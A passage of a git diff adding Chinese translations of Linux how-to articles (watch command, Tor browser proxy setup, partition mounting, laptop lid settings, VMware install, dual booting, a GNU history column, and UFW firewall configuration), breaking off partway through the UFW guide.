+你可以使用**-n**开关改变并指定时间间隔。要想每10秒检测日志文件,试试这个。 + + watch -n 10 tail /var/log/syslog + +### 带有管道的watch命令 ### + +**watch**并不仅限于浏览日志文件。它可以用来重复你给它的任何命令。如果你要[监测CPU的温度][3],你可以使用**watch**后跟上**sensord**命令来查看。 + + watch -n 1 sensors + +我电脑上的输出看上去就像这样: + + acpitz-virtual-0 + Adapter: Virtual device + temp1: +45.0°C (crit = +100.0°C) + +我想过滤一下这个输出来只显示温度而不显示其他的。 + +我可以使用这个命令来查看 + + sensors | grep temp | awk '{ print $2 }' + +记住,watch命令会重复它后面的第一个命令。必须要注意命令后面跟上管道的情况。你可以将你的命令放在引号里面来管理。 + + watch -n1 "sensors | grep temp | awk '{ print $2 }'" + +![带管道的watch命令](http://tuxtweaks.com/wp-content/uploads/2013/12/Watch_02_wm.png) +*带管道的watch命令* + +### 将watch作为时钟 ### + +就像你现在已经注意到的,**watch**执行后会在你的终端的右上角显示时间。我们可以通过传给watch一个空的命令参数来把它作为一个简单的时钟。 我们可以将一个空格包含在引号中来作为一个空的参数。 + + watch -n 1 " " + +如你所见,这给予这个命令另外一个意义,**手表(watch)**。你可以把它作为你的腕表。 + +现在你知道如何使用Linux的watch命令。你要用它处理什么重复任务? + +-------------------------------------------------------------------------------- + +via: http://tuxtweaks.com/2013/12/linux-watch-command/ + +译者:[geekpi](https://github.com/geekpi) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://tuxtweaks.com/2011/02/command-line-basics-head-and-tail/ +[2]:http://tuxtweaks.com/2012/01/creating-a-terminal-window-clock/ +[3]:http://tuxtweaks.com/2008/08/how-to-control-fan-speeds-in-ubuntu/ diff --git a/published/201401/Configure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md b/published/201401/Configure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md new file mode 100644 index 0000000000..5a830cee18 --- /dev/null +++ b/published/201401/Configure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md @@ -0,0 +1,72 @@ +Ubuntu/Debian/Linux Mint 系统中使用 Tor +================================================================================ +**Tor**, **T**he **O**nion **R**outer (洋葱路由),是一种虚拟通道网络,它可使用户安全以及匿名的进行互联网通信。Tor 可以让组织及个人通过公共网络分享信息而不用担心隐私会泄露。我们可以用 Tor 来避免网站追踪我们及我们家人的信息,也可以用来连接新闻网站、即时通讯服务或者那些被网络提供商和网络管理员封锁的网站。 + +Tor 最初是当做第三代[美国海军研究实验室的洋葱路由项目][1]而设计、实现及发展起来的。在美国海军心中,最初设计Tor的目的是为了政府的通信安全,但到了今天,出于各种各样的目的,Tor正在供普通人、军队、记者、执法人员、活动家以及其他更多的人每天使用。 + +这篇快速教程中,我们会学到怎么在浏览器上使用 Tor。下面所示的操作步骤是 Ubuntu 13.04 桌面系统中测试的,但它在所有的 Debian/Ubuntu 系统及它们的衍生系统中应该也适用。 + +### 在 Ubuntu / Debian / Linux Mint 上安装 Tor 和 Vidalia ### + +Tor 在 Debian/Ubuntu 系统的默认源库中已经存在,但它们有点过时了。所以得把 Tor 源库加入你发行版的源列表中。 + +编辑 **/etc/apt/sources.list** 文件, + + $ sudo nano /etc/apt/sources.list + +根据你系统的发行版本添加如下的一行。因为在我的 Ubuntu 13.04 桌面系统上做测试,所以我添加了如下的一行。 + + [...] + deb http://deb.torproject.org/torproject.org raring main + +保存并关闭文件。如果你使用的是 buntu 13.10 系统,添加行应该是, + + deb http://deb.torproject.org/torproject.org saucy main + +Debian 7 Wheezy 如下: + + deb http://deb.torproject.org/torproject.org wheezy main + +用如下命令添加 gpg 密钥: + + $ gpg --keyserver keys.gnupg.net --recv 886DDD89 + $ gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add - + +用下面命令更新源库列表及安装 vidalia: + + $ sudo apt-get update + $ sudo apt-get install tor vidalia deb.torproject.org-keyring + +在安装期间,你会被问到要用哪一个用户来负责 Tor 服务,选择一个用户然后点击 OK。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/12/sk@sk-_013.jpg) + +现在 Vidalia 已经安装运行了。 + +### 配置火狐浏览器 ### + +打开浏览器。进入 **编辑 -> 首选项 -> 高级 -> 网络 ->设置**。如下截图所示,选择手动配置代理,在 SOCKS Host 一栏,输入 **localhost** 或者 **127.0.0.1**,在端口一栏输入 **9050**。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/12/Firefox-Preferences_015.jpg) + +现在,在浏览器上输入网址 **https://check.torproject.org/**。你会看到一个绿色的讯息:“**恭喜。这个浏览器配置为可以使用Tor**“。红色的消息表明 Tor 还没有设置。请参考下面的截图。 + +![你使用 Tor 吗? - Mozilla Firefox_014](http://180016988.r.cdn77.net/wp-content/uploads/2013/12/Are-you-using-Tor-Mozilla-Firefox_014.jpg) + +相同的设置适用于所有浏览器,只要打开浏览器设置/首选项窗口,找到网络设置,在代理服务器栏中输入 **127.0.0.1**,在端口选项框中输入**9050**。要禁用 Tor,在浏览器设置中选择**使用系统代理设置**。 + +**注意**: 如果你想使用 Tor 匿名浏览网页,请阅读我们有关[Tor浏览器套件][2]的文章,它提供了易于配置的Tor以及浏览器补丁包,以使匿名访问更方便。要直接使用SOCKS(即时通讯,Jabber,IRC等),你可以直接在 Tor(本地端口9050)配置里指向你的应用程序,但需要先看看[这些FAQ条目] [3]来了解这么做的风险。 + +就这么多。好运吧!保持安全! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/configure-browser-use-tor-ubuntu-debian-linux-mint/ + +译者:[runningwater](https://github.com/runningwater) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.onion-router.net/ +[2]:http://www.unixmen.com/protect-your-online-privacy-with-tor-browser/ +[3]:https://trac.torproject.org/projects/tor/wiki/doc/TorFAQ#SOCKSAndDNS diff --git a/published/201401/Daily Ubuntu Tips - Mount Partitions In Ubuntu From Your Desktop GUI.md b/published/201401/Daily Ubuntu Tips - Mount Partitions In Ubuntu From Your Desktop GUI.md new file mode 100644 index 0000000000..2291ee43b2 --- /dev/null +++ b/published/201401/Daily Ubuntu Tips - Mount Partitions In Ubuntu From Your Desktop GUI.md @@ -0,0 +1,52 @@ +Ubuntu 每日小贴士 - 在Ubuntu下用桌面图形界面挂载分区 +================================================================================ + +如果在之前你询问过经验丰富的 Linux 用户如何在 Ubuntu 下挂载磁盘分区,他们可能会告诉你使用在 **/etc** 目录里的fstab文件。这似乎是 Linux 系统包括 Ubuntu 挂载分区的唯一方式。 + +呵呵,幸亏有了[GNOME Disk Utility][1],让挂载分区变得更加多样化。使用这个磁盘工具,你就可以在图形界面下轻松的挂载分区,不需要再在命令行下修改 fstab 文件。fstab 文件是一个用来列出可用磁盘和分区的 Linux 文件,同时指示出他们的挂载情况。 + +mount 命令查找 fstab 文件中的配置,它决定了设备挂载的方式和位置。这只能通过系统管理员或 root 来修改。 + +这个简短的教程将会展示给你如何在 Ubuntu 下轻松的挂载分区,在不主动修改 fstab 文件的前提下。对于新手和那些刚开始使用 Ubuntu 的用户,他们会发现这个方法易于挂载额外的分区和设备。 + +虽然有一些工具也许能帮助你构建 fstab 文件,但是在 Ubuntu 下很少有像这个磁盘工具那么高效的。 + +如果你在 Ubuntu 下打开了fstab 文件, 你会看到类似下面的内容。 + + # + /dev/fd0 /media/floppy0 vfat rw,user,noauto 0 0 + + +上列只是 Ubuntu 分区挂载的一个样例。每一个设备都有它自己的文件类型和挂载点。对于刚接触 Ubuntu 的用户,可能会感到生畏。 + +对于经验丰富的 Linux 用户来说,管理 fstab 并不困难。如果你已经做过一次了,那么下次会更加的轻松。 + +所以,接下来动手吧。在 fstab 文件中添加一个条目或挂载一个分区,打开 Unity Dash 搜索**Disk app**并打开。当程序打开后,选择你想要挂载和格式化的驱动器。在格式完后,选择**选项 -> 编辑挂载选项**。 + +![](http://www.liberiangeek.net/wp-content/uploads/2014/01/mountguiubuntu.png) + +最后,关闭自动挂载选项并手动指定你的挂载选项。磁盘会自动的将这些选项写入到 fstab 文件中,这样 mount 命令才可以读取挂载的分区。 + +![](http://www.liberiangeek.net/wp-content/uploads/2014/01/mountguiubuntu1.png) + +保存你的设置并重启,或用 mount 命令挂载分区。 + +上面的选项在 fstab 文件中会像这样显示。 + + /dev/sdb /media/richard/ExtPartition ntfs-3g rw,auto,user,fmask=0111,dmask=0000 0 0 + +好了,这些就是今天全部内容!每当你启动你的机子是新分区将会自动挂载上。 + +Enjoy! + +好好享受吧! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/01/daily-ubuntu-tips-mount-partitions-in-ubuntu-from-your-desktop-gui/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://wiki.gnome.org/Design/Apps/Disks diff --git "a/published/201401/Daily Ubuntu Tips \342\200\223 Do Nothing When Laptop Lid Is Closed.md" "b/published/201401/Daily Ubuntu Tips \342\200\223 Do Nothing When Laptop Lid Is Closed.md" new file mode 100644 index 0000000000..7b26ed1e0f --- /dev/null +++ "b/published/201401/Daily Ubuntu Tips \342\200\223 Do Nothing When Laptop Lid Is Closed.md" @@ -0,0 +1,43 @@ +每日Ubuntu小技巧:合上笔记本,系统不睡眠 +================================================================================ +Ubuntu 是一个处在牛 A 和牛 C 之间的现代操作系统,全世界数百万用户和公司都在使用它。无论是充当工作台还是高级工程机器,Ubuntu 都游刃有余。 + +如果你是 Ubuntu 初学者,使用过程还需要高手指导,那就关注本站吧。我们已经写了数百篇 Ubuntu 教程,足以带你入门。从安装 Ubuntu 到系统基本设置,我们都有涉猎。 + +这篇简单的教程为你介绍当笔记本盖子合上时该干嘛还是干嘛,而不是进入睡眠模式或者直接关机。 + +大多数现代操作系统(包括 Windows)会在笔记本合上时进入睡眠状态。Ubuntu 也是如此。如果你想让你的笔记本盖子合上时不睡眠,就跟着我们学习吧。 + +要达到这个目的,Ubuntu 有两种方法。第一种是打开 **System Settings –> Power**(中文版是打开 **系统设置 -> 电源**),然后进行设置。一些用户设置后不会生效。 + +另一个方法是直接编辑 Login Manager 的配置文件(**logind.conf**)。这个方法基本能生效,建议使用这个。 + +要开始了,按下 **Ctrl – Alt – T** 组合键,打开终端。然后运行下面的命令打开 logind.conf 文件。你的所有修改都在这个文件内。 + + sudo gedit /etc/systemd/logind.conf + +打开文件后修改下面这行: + + #HandleLidSwitch=suspend + +改成这样: + + HandleLidSwitch=ignore + +保存文件,重启 Login Manager 服务: + + sudo restart systemd-logind + +工作完成! + +配置文件的 “ignore” 值告诉 Ubuntu 当笔记本合上后不要睡眠或挂起。不要改动其它设置然后保存文件。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/photo.jpg) + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/12/daily-ubuntu-tips-do-nothing-when-laptop-lid-is-closed/ + +译者:[bazz2](https://github.com/bazz2) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201401/Daily Ubuntu Tips \342\200\224 Install VMware Workstation In Ubuntu.md" "b/published/201401/Daily Ubuntu Tips \342\200\224 Install VMware Workstation In Ubuntu.md" new file mode 100644 index 0000000000..9f5a05fd0a --- /dev/null +++ "b/published/201401/Daily Ubuntu Tips \342\200\224 Install VMware Workstation In Ubuntu.md" @@ -0,0 +1,55 @@ +每日Ubuntu小技巧 - 在Ubuntu上面安装VMware Workstation +================================================================================ +VMware Workstation是一款“第二类(Type-2)”商用虚拟化软件。被称为“第二类”是因为它是运行在现有的操作系统之上的,而正在运行的计算机则成为其宿主机。 + +你可以使用VMware Workstation在宿主机上同时运行各自具有独立操作系统的多个客户机。客户机可以是32位或者64位的操作系统。VMware Workstation支持Windows,Mac OS X,Solaris和许多其他系统。 + +这篇简短的教程将会教你怎么在Ubuntu上面安装VMware Workstation。 + +因为这个软件是商业软件,因此你必须要拥有一个可用的许可证才能够使用它。你可以从下载页面 [下载30天免费体验版][1]来体验它。如果你想注册,获得并且验证一个许可证即可。 + +想要在Ubuntu上开始安装VMware Workstation,首先需要运行如下命令升级Ubuntu。 + + sudo apt-get update && sudo apt-get dist-upgrade && sudo apt-get autoremove + +升级完电脑后,运行如下命令来让Ubuntu为安装做好准备。 + + sudo apt-get install build-essential linux-headers-`uname -r` + +然后,下载VMware Workstation。接着进入**~/Downloads** 目录,我的Firefox把下载的文件保存在这里。(译注:如果你的Ubuntu是中文版,该路径默认则为**~/下载**,下述命令也要相应变为 “cd 下载”) + + cd Downloads + +如果下载的包是.zip格式的,则运行如下命令解压下载的包,否则跳过这一步。 + + unzip VMware-Workstation-Full*.zip + +然后,运行如下命令给文件加上可执行权限。 + + chmod +x VMware-Workstation-Full*.bundle + +最后,运行下面的命令开始安装。 + + sudo ./VMware-Workstation-Full*.bundle + +在完成安装前按照向导进行选择。 + +当所有工作完成后,从Dash打开它并开始创建客户机。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/vmwareworkstationubuntu.png) + +你可以从所有的类型中选择创建各种客户机,包括Windows,Linux,Nevell,Solaris等。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/vmwareworkstationubuntu1.png) + +Enjoy! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/12/daily-ubuntu-tips-install-vmware-workstation-in-ubuntu/ + +译者:[SCUSJS](https://github.com/scusjs) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_workstation/10_0 diff --git "a/published/201401/Daily Ubuntu Tips \342\200\224 Windows Disk Management Equivalent In Ubuntu.md" "b/published/201401/Daily Ubuntu Tips \342\200\224 Windows Disk Management Equivalent In Ubuntu.md" new file mode 100644 index 0000000000..a7863da77f --- /dev/null +++ "b/published/201401/Daily Ubuntu Tips \342\200\224 Windows Disk Management Equivalent In Ubuntu.md" @@ -0,0 +1,40 @@ +每日Ubuntu小技巧:Ubuntu下一款和Windows磁盘管理一样的工具 +================================================================================ + +对于一些用惯了Windows的用户来说,刚开始接触Ubuntu的时候会面临这样的一个问题,这个问题在很多论坛里面也经常出现,前段时间也有位读者问到相同的问题: + +>在 Ubuntu 中有和 Windows 下的磁盘管理一样的工具么? + +对于那些不太清楚磁盘管理的用户,下面有个简单介绍。 + +磁盘管理是一个从 Windows XP 起就有的默认工具,其主要负责磁盘相关的任务,比如:创建和格式化磁盘、初始化磁盘,重新划分磁盘大小和指定分区号以及删除分区。 + +在 Windows 下用户使用和磁盘分区管理相关的命令行工具进行磁盘操作,这个工具很高大上。 + +问题是在 Ubuntu 系统下有这样的工具么,答案是肯定滴。 + +Ubuntu 下有个很相似的软件叫做 GNOME Disk Utility ,这个工具同样能尽心查看/管理你的磁盘分区,以及创建和恢复分区。你同样可以用它进行创建和格式化分区,挂载和卸载卷组以及其它相关的磁盘操作。 + +尽管这和Windows下的管理工具相似,但是它不允许用户重新定义分区和卷组大小,因为 ubuntu 不支持驱动器号。 + +所以,想在 Ubuntu 系统下使用类似 windows 下的磁盘管理工具,那就试试 GNOME Disk Utility 吧。 + +你可以在 Unity Dash 中搜索 **硬盘** ,打开时,它会自己识别你电脑上的外部硬盘和额外的硬盘驱动器。 + +![](http://www.liberiangeek.net/wp-content/uploads/2014/01/dropboxubuntumissingfolder3.png) + +一旦驱动器被选择你就可以进行磁盘相关的操作了,比如:格式化、创建分区,管理驱动器。另外在磁盘访问超时情况下一些待机模式的操作。 + +需要注意的是,当你格式化一个磁盘让它既可以在 Windows 下又可以在 Ubuntu 下使用时,一定要选择 NTFS 文件系统。 + +那么,在 Ubuntu 下使用磁盘配置你的驱动器吧。 + +慢慢享用,新年快乐! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/01/daily-ubuntu-tips-windows-disk-management-equivalent-in-ubuntu/ + +译者:[Timeszoro](https://github.com/Timeszoro) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201401/Gnu--toward the post-scarcity world \342\200\223 the Free Software Column.md" "b/published/201401/Gnu--toward the post-scarcity world \342\200\223 the Free Software Column.md" new file mode 100644 index 0000000000..5954287680 --- /dev/null +++ "b/published/201401/Gnu--toward the post-scarcity world \342\200\223 the Free Software Column.md" @@ -0,0 +1,42 @@ +GNU: 走向后稀缺世界 +================================================================================ +**自从理查德·斯托曼宣布编写名为 GNU 的完全兼容 UNIX 的软件系统以来已经过去 30 年了,GNU 点燃了软件自由之理念,并使开源斗争延续至今** + +![](http://www.linuxuser.co.uk/wp-content/uploads/2011/04/Richard-Hillesley-200x150.jpg) + +GNU 不是第一款分布式免费软件,却是第一款宣布永久免费,以及“不受政治约束的自由软件”。 + +在 GNU 宣言中,斯托曼描述了美好的愿景。“从长远角度来看,”他写道,“软件自由是步入[后稀缺世界][1]的必经之道,在后稀缺世界任何人都无需为生计奔波。人们可以自愿投身于一些他们感兴趣的活动,比如软件开发,代价只是每周花费十个小时完成诸如法律制定、家庭协商、机器人修理、小行星观察等工作任务。” + +在现实世界中,GNU 因为'EMACS 社区'以及由詹姆斯·高斯林编写 UNIX 版 Emacs 所引发的争论而发展迅速。在'针对 ITS 用户的 Emacs 手册'里,标示着 1981 年 10 月 22 日起,斯托曼就表明了授权 GPL 的想法。 + +“Emacs 并未抄袭任何软件,”他写道。“与之相反,你正在加入 Emacs 软件分享社区。加入社区的条件是你必须提交对 Emacs 作出的改进,包括任何你所写的插件。” + +最初,高斯林基于其他人已经做出贡献的原因,允许自由分发高斯林版本 Emacs 的源代码。但是,1983 年 4 月,斯托曼就此[谈道][2]:“他通过申请版权的方式伤害了每一个人,他不允许任何人进行二次发布,接着把软件贩卖给软件公司。” + +斯托曼被此种背叛的行为所伤害,但是高斯林,不久后作为 Java 之父而闻名于世,说道:“他对我的处理方式反映了他是一个既胆小又卑鄙的人,你可以从他做过的事看出来。” + +围绕这件事的反击与法律威胁直接促成了 GNU 的成立,以及之后的 GPL 协议。高斯林版 Emacs 不久之后就被 GNU 版 Emacs 所吞并。GPL 出现的标志是 1985 年的 'GNU Emacs 分发许可事项',经过几次修改重新发布,直到 1989 年 GPL 1.0 颁布。 + +斯托曼之后讲述当他创建 GNU 的时候,人们说:“噢,这是一项艰难地任务;你不可能写出一个像 UNIX 那样的完整系统来。我们能为之做出多少呢?这个主意很棒,但是很不现实。”然而斯托曼的回应是无论如何他都会去做。“这就是我强大的地方。我强大在我非常非常坚决,我会忽视各种诸如为什么你应该改变你的目标等理由,忽略许多其他人会为之动摇的因素。许多人都想成为胜利的一方。我并不反对这种想法。我只想成为正确的一方,即使甚至我没有成为胜利的一方,直到最后我仍将全力以赴。” + +“这和钱没有关系”,他在 1999 年说道,“这关乎自由。如果你认为这和钱有关就已经偏离讨论方向了。我只想自由地使用电脑,使用电脑去合作,在使用电脑分享的过程中不会被限制或是禁止。GNU/Linux 系统现在或多或少已经做到了一些。系统因为付诸实践的原因正变得越来越流行。它是很好的操作系统。危险是人们将会喜欢上它,因为它是实用的,它将会变得流行,只要没有人在背后对这些理想产生含糊的念头,当然这些念头将会是具有讽刺意味的失败。” + +自由软件归因于斯托曼的固执以及洞察力,但是正如同他过去在 GNU 项目中建议的一样,软件自由的斗争与成果很大程度上来自于他人的贡献,对它的威胁将会继续存在。 + +“当其他人怀疑我是否能够胜任工作,不确定我那么做将是否足够实现目标时,我已经完成了我的大部分工作。我尝试了各种手段,因为在我的同伴和敌人之间除了我什么都没有。我自己都感到很惊讶,有时候我竟然成功了。 + +“有时候我会失败; 我的一些同伴会突然离去。接着我会寻找其他受到威胁的同伴,准备好另一场战役。随着时间的流逝,我学会了寻找恐惧并将之置于我和我的同伴中,号召其他黑客来加入我。” + +“如今,很多时候我不是唯一的。当我看着这么多黑客不断参与进来并坚持下去,这是一种救赎、也是一种乐趣,我知道,这片乐土将会幸存下来 – 不只是现在。因为危险每年都会扩增。” + +-------------------------------------------------------------------------------- + +via: http://www.linuxuser.co.uk/features/gnu-toward-the-post-scarcity-world-the-free-software-column + +[1]:http://zh.wikipedia.org/wiki/%E5%90%8E%E7%A8%80%E7%BC%BA +[2]:bit.ly/d58ndg + +译者:[SteveArcher](https://github.com/SteveArcher) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201401/How to Dual Boot Ubuntu and Windows Properly.md b/published/201401/How to Dual Boot Ubuntu and Windows Properly.md new file mode 100644 index 0000000000..8091ac0c2f --- /dev/null +++ b/published/201401/How to Dual Boot Ubuntu and Windows Properly.md @@ -0,0 +1,35 @@ +如何正确双启动Ubuntu和Windows双系统 +================================================================================ + +**尽管微软想让你信任Windows,但一个Linux操作系统和一个Windows操作系统可以在同一台PC上和平共存。这个文章会指导你如何让一个Ubuntu系统和Windows操作系统并行运行。** + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Dual-Boot-Ubuntu-and-Windows-Properly-415377-2.jpg) + +你必须考虑两种场景,同时你也必须决定哪一种适合你。这里必须要考虑安装顺序。在你已经安装好Ubuntu操作系统后再安装Windows会有一点问题,因为微软似乎不太在意其他小伙伴。 + +如果你是在已经安装好Windows后安装Ubuntu,那么事情会变得简单多了,几乎没有任何工作和准备是必需的。 + +让我们开始处理更加困难的问题。如果你已经有一个Ubuntu系统,想安装Windows,你会丢掉GRUB,它是默认的引导程序。Windows不会在意它,并会擦除它。 + +如果你已经犯了这个错误,但你并没有重写Linux分区,请别沮丧。数据仍然在那里,你需要的是一个含有Ubuntu(最新到13.10版本)的可启动live CD。你需要安装一个名为Boot-Repair的应用程序,使用PPA来安装它。 + +记住,如果你使用U盘,安装应用会相当简单,因为Ubuntu安装镜像是混合镜像。用Live CD启动一个Ubuntu会话,打开终端,然后输入下列指令: + + sudo add-apt-repository ppa:yannubuntu/boot-repair && sudo apt-get update + sudo apt-get install -y boot-repair && (boot-repair &) + +打开应用程序,点击推荐修复,然后等待。在这个步骤完成后,重启机器,你就会重新看到GRUB,实现双启动。 + +在另一方面,如果你已经安装好Windows,想要安装Ubuntu,事情会更加简单。启动Ubuntu安装,选择安装到一个非Windows分区,格式化为EXT4,选择引导程序的位置,然后就搞定了。 + +如果你选择将引导程序安装在和Windows安装的同一块硬盘上,它会擦除微软的引导程序。这样没有问题,因为GRUB会识别出WIndows操作系统,你不会丢掉它。如果你把它安装在其它地方,譬如在另一块硬盘上,当你选择从不同的硬盘启动时,你会看到它们两个。 + +开始享受你的Ubuntu和Windows双系统启动的乐趣吧! + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Dual-Boot-Ubuntu-and-Windows-Properly-415377.shtml + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201401/How to Install and Configure UFW \342\200\223 An Un-complicated FireWall in Debian or Ubuntu.md" "b/published/201401/How to Install and Configure UFW \342\200\223 An Un-complicated FireWall in Debian or Ubuntu.md" new file mode 100644 index 0000000000..b749e355e6 --- /dev/null +++ "b/published/201401/How to Install and Configure UFW \342\200\223 An Un-complicated FireWall in Debian or Ubuntu.md" @@ -0,0 +1,271 @@ +Debian/Ubuntu系统中安装和配置UFW-简单的防火墙 +================================================================================ +自从计算机互连后,各种服务迅速发展。用户使用的**电子邮件、社交媒体、在线商城、即时聊天**甚至**网络会议**等服务如雨后春笋般涌现。但从另一方面来说,这些连接服务也具有双刃剑,比如它们当中的**病毒、恶意软件、特洛伊木马**等会向计算机发送恶意消息。 + +![Ubuntu下的 UFW 防火墙](http://www.tecmint.com/wp-content/uploads/2013/12/UFW-Firewall.jpeg) + +*安装 UFW 防火墙* + +作为最大的计算机网络,互联网上可并不都是善意的用户。因此,为了确保我们的计算机或服务器安全,我们需要进行保护。 + +在你的计算机或服务器上一个必须有的组件就是**防火墙**。在**维基百科**中,其定义是: + +> 防火墙是计算机中一款应用软件或基于硬件的网络安全系统。它根据应用配置的规则,分析数据包,然后决定是否允许此数据包通过,来控制整个系统的网络数据进出访问权限。 + +**iptables** 是一款广泛使用于服务器的防火墙。它是一款应用程序,它会根据一系列规则来管理服务器上的进出数据流。一般来说,只有可信任的连接才允许进入服务器。但 **iptables** 是在控制台模式下运行,它非常的复杂。不熟悉 iptables 配置规则和命令的用户可以读读下面的文章,它描述了如何使用iptables防火墙。 + +- [iptables 基础 (Linux 防火墙) 指南][1] + +## Debian/Ubuntu 系统中安装 UFW 防火墙 ## + +为了降低 **iptables** 设置的复杂度,有许多对应的前端应用。如果你运行的是 **Ubuntu** linux 系统的话, **UFW** 就是一款默认的防火墙工具。我们开始来探讨 **UFW** 防火墙吧。 + +### 什么是 UFW ### + +**UFW (简单的防火墙)** 是广泛使用的 **iptables 防火墙** 的前端应用,这是非常适合于基于主机的防火墙。UFW 即提供了一套管理**网络过滤器**的框架,又提供了控制防火墙的命令行界面接口。它给那些不熟悉防火墙概念的 Linux 新用户提供了友好、易使用的用户界面。 + +同时,另一方面,它也提供了命令行界面,为系统管理员准备了一套复杂的命令,用来设置复杂的防火墙规则。**UFW** 对像 **Debian、Ubuntu** 和 **Linux Mint** 这些发布版本来说也是上上之选。 + +## UFW 基本用法 ## + +首先,用如下命令来检查下系统上是否已经安装了 **UFW** 。 + + $ sudo dpkg --get-selections | grep ufw + +如还没有安装,可以使用 **apt** 命令来安装,如下所示: + + $ sudo apt-get install ufw + +在使用前,你应该检查下 **UFW** 是否已经在运行。用下面的命令来检查。 + + $ sudo ufw status + +如果你发现状态是: **inactive** , 意思是没有被激活或不起作用。 + +### 启用/禁用 UFW ### + +要启用它,你只需在终端下键入如下命令: + + $ sudo ufw enable + +在系统启动时启用和激活防火墙 + +要禁用,只需输入: + + $ sudo ufw disable + +### 列出当前UFW规则 ### + +在防火墙被激活后,你可以向里面添加你自己的规则。如果你想看看默认的规则,可以输入。 + + $ sudo ufw status verbose + +输出样例: + + Status: active + Logging: on (low) + Default: deny (incoming), allow (outgoing) + New profiles: skip + $ + +### 添加UFW规则 ### + +如你所见,默认是不允许所有外部访问连接的。如果你想远程连接你的机器,就得开放相应的端口。例如,你想用 ssh 来连接,下面是添加的命令。 + +### 允许访问 ### + + $ sudo ufw allow ssh + + [sudo] password for pungki : + Rule added + Rule added (v6) + $ + +再一次检查状态,会看到如下的一些输出。 + + $ sudo ufw status + + To Action From + -- ----------- ------ + 22 ALLOW Anywhere + 22 ALLOW Anywhere (v6) + +如果你有很多条规则,想快速的在每条规则上加个序号数字的话,请使用 numbered 参数。 + + $ sudo ufw status numbered + + To Action From + ------ ----------- ------ + [1] 22 ALLOW Anywhere + [2] 22 ALLOW Anywhere (v6) + +第一条规则的意思是**所有**通过**22端口**访问机器的 **tcp** 或 **udp** 数据包都是允许的。如果你希望仅允许 **tcp** 数据包访问应该怎么办?可以在**服务端口**后加个 **tcp** 参数。下面的示例及相应的输出。 + + $ sudo ufw allow ssh/tcp + + To Action From + ------ ----------- ------ + 22/tcp ALLOW Anywhere + 22/tcp ALLOW Anywhere (v6) + +### 拒绝访问 ### + +添加拒绝规则也是同样的招数。我们假设你想拒绝 ftp 访问, 你只需输入 + + $ sudo ufw deny ftp + + To Action From + ------ ----------- ------ + 21/tcp DENY Anywhere + 21/tcp DENY Anywhere (v6) + +### 添加特定端口 ### + +有时候,我们会自定义一个端口而不是使用标准提供的。让我们试着把机器上 **ssh** 的 **22** 端口换成 **2290** 端口,然后允许从 **2290** 端口访问,我们像这样添加: + + $ sudo ufw allow 2290/ssh (译者注:些处演示例子有问题) + + To Action From + -- ----------- ------ + 2290 ALLOW Anywhere + 2290 ALLOW Anywhere (v6) + +你也可以把**端口范围**添加进规则。如果我们想打开从 **2290到2300** 的端口以供 **tcp** 协议使用,命令如下示: + + $ sudo ufw allow 2290:2300/tcp + + To Action From + ------ ----------- ------ + 2290:2300/tcp ALLOW Anywhere + 2290:2300/tcp ALLOW Anywhere (v6) + +同样你想使用 **udp** 的话,如下操作。 + + $ sudo ufw allow 2290:2300/udp + + To Action From + ------ ----------- ------ + 2290:2300/udp ALLOW Anywhere + 2290:2300/udp ALLOW Anywhere (v6) + +请注意你得明确的指定是 ‘**tcp**’ 或 ‘**udp**’,否则会出现跟下面类似的错误信息。 + + ERROR: Must specify ‘tcp’ or ‘udp’ with multiple ports + +### 添加特定 IP ### + +前面我们添加的规则都是基于 **服务程序** 或 **端口** 的,UFW 也可以添加基于 **IP 地址**的规则。下面是命令样例。 + + $ sudo ufw allow from 192.168.0.104 + +你也可以使用子网掩码来扩宽范围。 + + $ sudo ufw allow form 192.168.0.0/24 + + To Action From + -- ----------- ------ + Anywhere ALLOW 192.168.0.104 + Anywhere ALLOW 192.168.0.0/24 + +如你所见, from 参数仅仅限制连接的来源,而目的(用 **To** 列表示)是**所有地方**。让我们看看允许访问 **22端口(ssh)**的例子。 + + $ sudo ufw allow to any port 22 